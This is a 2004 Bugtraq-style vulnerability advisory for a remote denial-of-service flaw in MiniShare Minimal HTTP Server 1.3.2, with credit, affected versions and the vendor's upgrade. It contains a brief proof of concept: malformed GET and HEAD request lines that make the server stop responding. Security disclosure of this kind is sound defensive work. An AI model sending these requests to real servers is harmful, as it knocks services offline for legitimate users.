MiniShare Server Remote Denial Of Service Vulnerability

Bugtraq ID:	10417
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	May 26 2004 12:00AM
Updated:	May 26 2004 12:00AM
Credit:	Disclosure of this issue is credited to "Donato Ferrante" <[email protected]>.
Vulnerable:	MiniShare Minimal HTTP Server 1.3.2
Not Vulnerable:	MiniShare Minimal HTTP Server 1.3.3

MiniShare Server Remote Denial Of Service Vulnerability

Minishare is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle improperly formed HTTP requests.

This issue will allow an attacker to cause the affected computer to stop responding, denying service to legitimate users.

MiniShare Server Remote Denial Of Service Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

GET:

1. GET /something HTTP/1.1
-
2. GET /something HTTP/1.1\n
-


HEAD:

1. HEAD /something HTTP/1.1
-
2. HEAD /something HTTP/1.1\n
-

MiniShare Server Remote Denial Of Service Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue.


MiniShare Minimal HTTP Server 1.3.2

• MiniShare minishare-1.3.3.exe
  http://osdn.dl.sourceforge.net/sourceforge/minishare/minishare-1.3.3.e xe

MiniShare Server Remote Denial Of Service Vulnerability

References:

• MiniShare - Minimal HTTP Server: Release Notes (MiniShare)
  
• Project Home Page (MiniShare)
  
• DoS in MiniShare 1.3.2 ("Donato Ferrante" )